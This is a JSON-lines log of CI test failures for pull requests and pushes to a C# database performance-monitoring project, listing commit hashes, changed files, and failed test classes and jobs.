+{"date":"2026-09-26","head_sha":"2068d41265dfa37c53037460ec13ab7de9d159b4","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.ManagedConfFileTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"2e2c80f20af173a710ff73fa1e03f17d6522d21b","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreTopLiteralEndStraddleLiveTests.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"ce5436d155c4713fac2947c02f302ee5d7a78e10","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreDurationTrendTableLiveTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.QueryStoreDurationTrendTableLiveTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"76d44be270b06891519a2add7fd70f9e9873a666","event":"pull_request","changed_files":["Darling/Darling.Tests/PgSensitiveStatementFilterLiveTests.cs","Darling/Darling.Tests/PgSensitiveStatementFilterTests.cs","Darling/Darling.Tests/PgStatementTextScrubLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PgStatementTextScrub.cs","Darling/PerformanceMonitor.Darling.Storage/PgStatementText.cs","Darling/PerformanceMonitor.Darling.Storage/StoreStatementStats.cs","PerformanceMonitor.Collectors/PgBlockingCollector.cs","PerformanceMonitor.Collectors/PgSensitiveStatementFilter.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.PgSensitiveStatementFilterTests","PerformanceMonitorLite.Tests.ScenarioTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)","Lite tests (1)"]}
+{"date":"2026-09-26","head_sha":"c0adc53226670fdd89d7c28d782ee1b0be1e29b5","event":"pull_request","changed_files":["Darling/Darling.Tests/PlanForceActionAuditRedactionTests.cs","Darling/Darling.Tests/PlanForceActionDetailScrubLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceActionDetailScrub.cs"],"failed_classes":["PerformanceMonitorLite.Tests.ScenarioTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-09-26","head_sha":"68ddf1746657e3a8013ee0002eedf4eb1488ac27","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreTopLiteralEndStraddleLiveTests.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","PerformanceMonitorLite.Tests.ScenarioTests"],"failed_jobs":["Darling PG tests (2)","Lite tests (1)"]}
+{"date":"2026-09-26","head_sha":"a75333e8e236710a1e864c4624de26cf8bb67988","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreDurationTrendTableLiveTests.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs"],"failed_classes":["Darling.Tests.QueryStoreDurationTrendTableLiveTests","Darling.Tests.QueryStoreIntervalWideGridLiveTests","Darling.Tests.QueryStoreTopMcpLiveTests","PerformanceMonitorLite.Tests.ScenarioTests"],"failed_jobs":["Lite tests (1)","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"8754210ebf37f73ca1dd120d8f6960477745d909","event":"pull_request","changed_files":["Darling/Darling.Tests/PgSensitiveStatementFilterLiveTests.cs","Darling/Darling.Tests/PgSensitiveStatementFilterTests.cs","Darling/Darling.Tests/PgStatementTextScrubLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PgStatementTextScrub.cs","Darling/PerformanceMonitor.Darling.Storage/PgStatementText.cs","Darling/PerformanceMonitor.Darling.Storage/StoreStatementStats.cs","PerformanceMonitor.Collectors/PgBlockingCollector.cs","PerformanceMonitor.Collectors/PgSensitiveStatementFilter.cs"],"failed_classes":["Darling.Tests.PgDeadlockNormalizationTests","PerformanceMonitorLite.Tests.ScenarioTests"],"failed_jobs":["Lite tests (1)","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"801cb7c1d87049e38d7c7e6fbbc0cafbe72fe0fe","event":"pull_request","changed_files":["Darling/Darling.Tests/PlanForceActionAuditRedactionTests.cs","Darling/Darling.Tests/PlanForceActionDetailScrubLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceActionDetailScrub.cs"],"failed_classes":["Darling.Tests.PlanForceActionAuditRedactionTests","PerformanceMonitorLite.Tests.ScenarioTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (1)"]}
+{"date":"2026-09-26","head_sha":"cbc985e2a5a4c942d7c0907210f211c8b23bde8c","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreDurationTrendTableLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs"],"failed_classes":["Darling.Tests.QueryStoreTopMcpLiveTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"8d29921a1fa552050083c7ab202f43e96e2bb65d","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.ManagedConfMigrationTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-26","head_sha":"8a4c6977c8386c0d2da0e58175ad3a3b7ca164ac","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs"],"failed_classes":["Darling.Tests.CollectionHealthPayloadBudgetLiveTests","Darling.Tests.OversizedPlanSweepRunRecordTests","Darling.Tests.PerServerCollectionHealthMemoTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"3efe402962c866944b24b5fa91d71584a660e4e7","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.ManagedConfMigrationTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-26","head_sha":"c3c584dced85e8a09737031271b14d41dee39d80","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/MuteRuleReloadRetentionTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs","Darling/PerformanceMonitor.Darling.Service/PgMuteRuleStore.cs","Lite.Tests/MuteRuleServiceTests.cs","Lite.Tests/RemainingEmptyReadsToolTests.cs","Lite/Services/DuckDbMuteRuleStore.cs","PerformanceMonitor.Notifications/IMuteRuleStore.cs","deprecated/Dashboard/Services/JsonMuteRuleStore.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"87c7b1bbe5a117919efe954509cc9c5cb981d709","event":"pull_request","changed_files":["Darling/Darling.Tests/PlanForceActionAuditRedactionTests.cs","Darling/Darling.Tests/PlanForceActionDetailCensus.cs","Darling/Darling.Tests/PlanForceActionDetailCensusTests.cs","Darling/Darling.Tests/PlanForceActionDetailScrubLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceActionDetailScrub.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"c9a1a8145638896f27068c658ee343a4b17daaaa","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthPayloadBudgetLiveTests.cs","Darling/Darling.Tests/OversizedPlanSweepRunRecordTests.cs","Darling/Darling.Tests/PerServerCollectionHealthMemoTests.cs","Darling/Darling.Tests/WebReadCancellationPinTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"34a57f6f2ba27f30b6b37c55852557807c9d3f6b","event":"push","changed_files":["Darling/Darling.Tests/PgSensitiveStatementFilterLiveTests.cs","Darling/Darling.Tests/PgSensitiveStatementFilterTests.cs","Darling/Darling.Tests/PgStatementTextScrubLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PgStatementTextScrub.cs","Darling/PerformanceMonitor.Darling.Storage/PgStatementText.cs","Darling/PerformanceMonitor.Darling.Storage/StoreStatementStats.cs","PerformanceMonitor.Collectors/PgBlockingCollector.cs","PerformanceMonitor.Collectors/PgSensitiveStatementFilter.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"be67f6a2f3a8c0be1bd7d2ce049f6c9cfbe5e189","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/CompressionPhaseAssignmentTests.cs","Darling/Darling.Tests/DailySummaryNotCarriedTests.cs","Darling/Darling.Tests/DailySummaryReadShapeTests.cs","Darling/Darling.Tests/DailySummaryStitchedRangeTests.cs","Darling/Darling.Tests/FrozenRollupLiveTests.cs","Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs","Darling/Darling.Tests/MaterializationHoleRepairTests.cs","Darling/Darling.Tests/MaterializationHoleScanShapeTests.cs","Darling/Darling.Tests/MeasurementContractCensusTests.cs","Darling/Darling.Tests/PayloadDimensionLiveTests.cs","Darling/Darling.Tests/QueryStoreCorrectedRollupLiveTests.cs","Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs","Darling/Darling.Tests/RefreshCeilingStalenessTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/RollupBackfillLiveTests.cs","Darling/Darling.Tests/RollupBackfillTests.cs","Darling/Darling.Tests/RollupCoverageRoutingTests.cs","Darling/Darling.Tests/SuccessorDailyLiveTests.cs","Darling/Darling.Tests/TimescaleAggregateCompressionTests.cs","Darling/Darling.Tests/TimescaleContinuousAggregateTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummarySql.cs","Darling/PerformanceMonitor.Darling.Storage/RollupBackfill.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.MaterializationHoles.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"9174da32aa8730623280d202d522ebfb15fb0320","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.ManagedConfMigrationTests","Darling.Tests.ManagedConfRewriteTests","Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"f0dcb2fbc0e28f71fe93b5d881508129cb4e2f36","event":"pull_request","changed_files":["Darling/Darling.Tests/CapturingTestLogger.cs","Darling/Darling.Tests/PgSettingRedactorTests.cs","Darling/Darling.Tests/PgSettingScrubCandidateCensusTests.cs","Darling/Darling.Tests/PgSettingScrubLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/PgSettingScrub.cs","PerformanceMonitor.Collectors/PgSettingRedactor.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"f93a136293c3981ff088c5fda99680fdb5e557f8","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreTopLiteralEndStraddleLiveTests.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"27a93fcb1adb5474926ab0dfbb7cc889c88660e1","event":"pull_request","changed_files":[".gitattributes","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/Fixtures/ManagedConf/rehearsal-postgresql.conf","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"239d269d68369d473f8e7bb96a3fe290a3858347","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreTopLiteralEndStraddleLiveTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"251e2adfeb10aa937f40b635bcb3668e635a280d","event":"pull_request","changed_files":[".gitattributes","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/Fixtures/ManagedConf/rehearsal-postgresql.conf","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationStepsTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationSteps.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.QueryStoreTopLiteralEndStraddleLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"c618155e2e0e11fc0cb4edd5d2b369e01733b331","event":"pull_request","changed_files":["Darling/Darling.Tests/PlanForceActionAuditRedactionTests.cs","Darling/Darling.Tests/PlanForceActionDetailCensus.cs","Darling/Darling.Tests/PlanForceActionDetailCensusTests.cs","Darling/Darling.Tests/PlanForceActionDetailScrubLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceActionDetailScrub.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-26","head_sha":"ded542a0563750d27f27c24bf53537a45c448f3e","event":"pull_request","changed_files":[".gitattributes","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/Fixtures/ManagedConf/rehearsal-postgresql.conf","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileSettingsTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfMigrationRunnerTests.cs","Darling/Darling.Tests/ManagedConfMigrationStateTests.cs","Darling/Darling.Tests/ManagedConfMigrationStepsTests.cs","Darling/Darling.Tests/ManagedConfMigrationTests.cs","Darling/Darling.Tests/ManagedConfMigrationWiringTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/Darling.Tests/ManagedConfRewriteTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/StartupHostProfileLogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFileSettings.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigration.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationRunner.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationState.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfMigrationSteps.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests","Darling.Tests.ManagedConfFileLiveTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"f7499cfb2762284862461b57f386f4fba596aaaa","event":"pull_request","changed_files":["Darling/Darling.Tests/PgSettingRedactorTests.cs","Darling/PerformanceMonitor.Darling.Service/PgSettingScrub.cs","PerformanceMonitor.Collectors/PgServerConfigCollector.cs","PerformanceMonitor.Collectors/PgSettingRedactor.cs"],"failed_classes":["Darling.Tests.PgSettingRedactorTests"],"failed_jobs":["build","Darling PG tests (1)"]}
